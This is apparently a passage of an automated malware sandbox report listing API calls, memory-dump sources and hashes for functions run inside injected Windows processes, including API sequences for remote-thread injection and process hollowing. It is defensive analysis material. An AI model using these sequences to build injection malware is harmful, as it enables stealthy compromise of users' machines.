Function 047E31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

Part of subcall function 047E2597: lstrcat.KERNEL32(047E2634,00000000), ref: 047E25DE

lstrcat.KERNEL32(00000000,00000000), ref: 047E31EA

Part of subcall function 047E26F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 047E2715
Part of subcall function 047E26F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 047E2732
Part of subcall function 047E26F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 047E274E
Part of subcall function 047E26F9: CloseHandle.KERNEL32(?), ref: 047E275F

GetStartupInfoA.KERNEL32(00000000), ref: 047E3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,047E31B5,00000011,?,00000000,00000000), ref: 047E3255
CloseHandle.KERNEL32(?,?,047E31B5,00000011,?,00000000,00000000,00000000,047E306E,00000004,00000000), ref: 047E3261
CloseHandle.KERNEL32(?,?,047E31B5,00000011,?,00000000,00000000,00000000,047E306E,00000004,00000000), ref: 047E326D

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: CloseFileHandle$Createlstrcat$InfoPointerProcessStartupWrite
String ID:
API String ID: 1477093598-0
Opcode ID: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction ID: 1aacb9445c8c210e640d967aba6c1ae43c8537fd96e3f7c35dd174f2c68ef583
Opcode Fuzzy Hash: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction Fuzzy Hash: C81166724045149FEF126F71CC48FAF77BDEF44305F0149A9E985E7105DA306A90CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 047E343F Relevance: 7.5, APIs: 5, Instructions: 43processmemorystringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 047E344D
Process32First.KERNEL32(00000000,00000000), ref: 047E3473
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 047E348B
lstrcat.KERNEL32(00000000,00000000), ref: 047E34A2
CloseHandle.KERNEL32(00000000), ref: 047E34EE

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: AllocCloseCreateFirstHandleProcess32SnapshotToolhelp32Virtuallstrcat
String ID:
API String ID: 1167326197-0
Opcode ID: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction ID: 6c68ea2bfb6a22ad56d97950bd76a51a8f6f0444fe6e24a7c13205f38938aade
Opcode Fuzzy Hash: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction Fuzzy Hash: CB01F2702412106FFB236A218C89BB936E8AF06755F0402A8BD44FF1D5DF74981589A9

Uniqueness

Uniqueness Score: -1.00%

Function 047E3F0D Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,047E3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 047E3F2D
Sleep.KERNEL32(000003E8,00000000,?,047E3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 047E3F4B
Sleep.KERNEL32(000007D0), ref: 047E3F5B
Sleep.KERNEL32(00000BB8), ref: 047E3F6B

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction ID: df93994fdb88c21945cd37539266e25e41a19b79c93d3b4335d23761d13c13d6
Opcode Fuzzy Hash: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction Fuzzy Hash: 2FF01270598240A6FF403B728C4D67936B85F4870AF040691BD49AF2D5DE74A5509E75

Uniqueness

Uniqueness Score: -1.00%

Function 047E3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(047E3EBD,00000006,E8FFFE1B,00000000), ref: 047E3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,047E3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 047E3F2D

Part of subcall function 047E0C9C: GetProcAddress.KERNEL32(047E2811,047E290A), ref: 047E0CA9

Strings

j, xrefs: 047E3EFC

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: j
API String ID: 310444273-2747090070
Opcode ID: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction ID: c61149ba3190729ff0f4f37dc7d13be8988ae42101568a9dfcc3e8f94fb25082
Opcode Fuzzy Hash: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction Fuzzy Hash: 13F06871504250ADFB116A738848BBA32BCAF48749F044765AD85DB350EE70F580DAB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 2580, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	192
Total number of Limit Nodes:	20

Executed Functions

Function 01391F8D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
injectionmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 01391FDE
WriteProcessMemory.KERNEL32 ref: 01392000
CreateRemoteThread.KERNEL32 ref: 01392028

Strings

@, xrefs: 01391FD6

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID: @
API String ID: 1718980022-2766056989
Opcode ID: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction ID: 5dfa931b168189c6da55d443e70d6d7ed06949fb25be811420ce0b21a591a078
Opcode Fuzzy Hash: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction Fuzzy Hash: CF118F3120C9084FE748EA1CE80D76577DAF7D8325F25436EE44ED3295DE3899168785

Uniqueness

Uniqueness Score: -1.00%

Function 01392270 Relevance: 1.6, APIs: 1, Instructions: 132
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFile.NTDLL ref: 013922E1

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: DirectoryFileQuery
String ID:
API String ID: 3295332484-0
Opcode ID: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction ID: 2de871f163555cbda5ee5fb693cc3dc0d9c8073269b2e6f0d5cab27084672791
Opcode Fuzzy Hash: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction Fuzzy Hash: D741F470618E4E9FDF95EF5CC8C8BAA7BE4FB69359F40016AE909C7250D730D8848B41

Uniqueness

Uniqueness Score: -1.00%

Function 01391EE1 Relevance: 1.6, APIs: 1, Instructions: 54
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateUserProcess.NTDLL ref: 01391F33

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction ID: 32af6664475258df2025926b18748e272a5399bca74b2e2a3e5bffc18d134367
Opcode Fuzzy Hash: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction Fuzzy Hash: 30114C74908A8C8FDFC4EF6CC488A697BE0FB68355F54062AB859C32A0D775D8948B41

Uniqueness

Uniqueness Score: -1.00%

Function 01391D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 01391D99
VirtualAlloc.KERNEL32 ref: 01391DD2
VirtualProtect.KERNEL32 ref: 01391E56

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: fdd2848cf78507cda9bbc6fa95236549967ab3c72e8ac319d269252cfd9322b7
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 0021D630A34C1E0BFB58A27C9859764F6D2E79C220F980295E90DE36D4ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 03450811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0345092A
RtlExitUserThread.NTDLL ref: 03450933

Memory Dump Source

Source File: 00000003.00000002.3004595079.0000000003450000.00000040.00000400.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3450000_explorer.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 0ca58f45a831e95129f7947333f4d333a2c2c7856451a491e6b2d099f79754c5
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: C131C57A8003047FEF01BF709D46EAA776CEF01310F04016BBD86DE1A6DA744954CAB9

Uniqueness

Uniqueness Score: -1.00%

Function 01390811 Relevance: 1.6, APIs: 1, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013908CE

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: de1639bc68694eddd94409e849f198f8ffd8fa0804a42f374ba823ae9a72a72a
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: BE313772514206BFEF067F749D86ABA3FACEF10318F040165BD95EE0A5EA304964CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 013908B3 Relevance: 1.5, APIs: 1, Instructions: 14
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013908CE

Memory Dump Source

Source File: 00000003.00000002.2983323352.0000000001390000.00000040.00000001.00020000.00000000.sdmp, Offset: 01390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1390000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction ID: 27b28d2f442fd771626c8c0eed648b75e2cd5673a9a19ca2b0335d9e7fd0978f
Opcode Fuzzy Hash: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction Fuzzy Hash: 9BC09B27A7490707CF18777C6C5906C795CED3113E7C05B35F467E8095DC35451642A6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sihost.exePID: 3420, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	6

Executed Functions

Function 00AC21D1 Relevance: 1.6, APIs: 1, Instructions: 83
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 00AC2237

Memory Dump Source

Source File: 00000004.00000002.2968002124.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction ID: cdfd058294846393527a23a69d82aed125c299c38b3c44931be5a47ac5480816
Opcode Fuzzy Hash: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction Fuzzy Hash: F3213D31518E5D8F8F55EF1C8809FEA37E1FB68755B42032AAC19E3200D730D98087C1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00AC1D99
VirtualAlloc.KERNELBASE ref: 00AC1DD2
VirtualProtect.KERNELBASE ref: 00AC1E56

Memory Dump Source

Source File: 00000004.00000002.2968002124.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: dd34eb1389eaef043c92a696ed53661b54a7e883a9eaaee22049f10a42ac24d8
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: E221F730B34C1D0BEB58A77C9859764F6D2E79C320F990299E91ED36E5ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00AC0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AC092A
RtlExitUserThread.NTDLL ref: 00AC0933

Memory Dump Source

Source File: 00000004.00000002.2968002124.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 23dfea852a366a571cc3348c698cc6744426d11f639f151413aad9b7f5eb2e10
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9231E472000204AFEF017F709E86FBA3BACEF11300F424169BD85DA0A2EA7449658BB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3456, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 00910811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0091092A
RtlExitUserThread.NTDLL ref: 00910933

Memory Dump Source

Source File: 00000005.00000002.2967861512.0000000000910000.00000040.00000001.00020000.00000000.sdmp, Offset: 00910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_910000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 0bb578ed6cec17c8f136f477abcb2608ff25218c2125ec3b643453ee16afebde
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DE31D67220420C7FEB017B709D46BFA3B6CEF91300F4001A5BD85DA0A2DAB649D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3528, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 009A0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 009A092A
RtlExitUserThread.NTDLL ref: 009A0933

Memory Dump Source

Source File: 00000006.00000002.2965568400.00000000009A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 009A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9a0000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 87a61ee7780fe3dd6be775b2a921c89204c80ea1769b2b74f3f30dd65b7be30b
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DB31E6724102046FEB017B749D4ABBA7BACEF92310F000165BD85DA0A6EA7549648AFA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ctfmon.exePID: 3832, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	101
Total number of Limit Nodes:	4

Executed Functions

Function 00A51D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00A51D99
VirtualAlloc.KERNELBASE ref: 00A51DD2
VirtualProtect.KERNELBASE ref: 00A51E56

Memory Dump Source

Source File: 00000007.00000002.2966204226.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: e5dc80538da9fb4d46b28acacc3c2bb4e555f0cc24faa64339f8904ee302d7fe
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 9621D631A34C1D0BEB58A27C9859774F6E2F79C321F940295ED19D36D4ED68CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00A50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00A5092A
RtlExitUserThread.NTDLL ref: 00A50933

Memory Dump Source

Source File: 00000007.00000002.2966204226.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d9c953606555283b5bd9303adf5bc3df3a133a87740289e9a75d62b9567f8b42
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: D831C672410204AFEF017F709E87EBA3BACFF11312F440165FD95DA0A6EA744969CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 4196, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	67
Total number of Limit Nodes:	5

Executed Functions

Function 00D40811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00D4092A
RtlExitUserThread.NTDLL ref: 00D40933

Memory Dump Source

Source File: 00000008.00000002.2966201705.0000000000D40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 08b2109dcbf42d691bd0579a811ffb356924513e44b27f1ccfa88f3ac837c6f5
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A631C672410244AFEB017B709D86ABA3FACEF11310F440165BE85DA0A6EA7449A5CAF5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: StartMenuExperienceHost.exePID: 4660, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	4

Executed Functions

Function 00B50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00B5092A
RtlExitUserThread.NTDLL ref: 00B50933

Memory Dump Source

Source File: 00000009.00000002.2968349983.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b50000_StartMenuExperienceHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d0a9b7ccad2424afbd224703fef996352ea6b7a6d1d9ad784538435e3ee26c62
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 5E31D4720202046FEB017F709D86FBA3BECEF11312F0005E5BD95DA0A6EA744D69CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 4872, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	80
Total number of Limit Nodes:	8

Executed Functions

Function 00110811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0011092A
RtlExitUserThread.NTDLL ref: 00110933

Memory Dump Source

Source File: 0000000A.00000002.2966275898.0000000000110000.00000040.00000001.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: e0c6e7e9a2d7599d1d0e12609d6689695a60be68487ad526544be4dcdcbfa815
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 4B31D6728042047FEB0A7B709D46AFA7B6CEF15300F000175BD85DA0A2EBB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 6940, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	31.4%
Signature Coverage:	0%
Total number of Nodes:	462
Total number of Limit Nodes:	5

Executed Functions

Function 02240005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0224098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022409A5
Part of subcall function 0224098B: GetStartupInfoA.KERNEL32(00000000), ref: 022409BD

ExitProcess.KERNEL32(00000000), ref: 0224001D

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: 5b7b2d51848ce7e6328a828d32556596b20594477a9bdb1ff08d41b4b3de3153
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 4F72E36142D3C14FD71F9BE04A64A657F79BF03208B0910CBD7829E0BBDE645B89C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00860000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00860318
VirtualProtect.KERNELBASE ref: 00860680
VirtualProtect.KERNELBASE ref: 008606FD

Strings

C[, xrefs: 00860221
wJ, xrefs: 0086012E
1;, xrefs: 00860286
@, xrefs: 0086001F
R, xrefs: 00860039
y7, xrefs: 00860234
v, xrefs: 00860141
d:, xrefs: 008600A0
, xrefs: 0086000F

Memory Dump Source

Source File: 0000000C.00000002.1889756937.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 89b1cf9ac7d55759214d386de343b6a22f623a7ff95fd0c0b6acfd6c7340367f
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: CB327774E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341DB756E85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

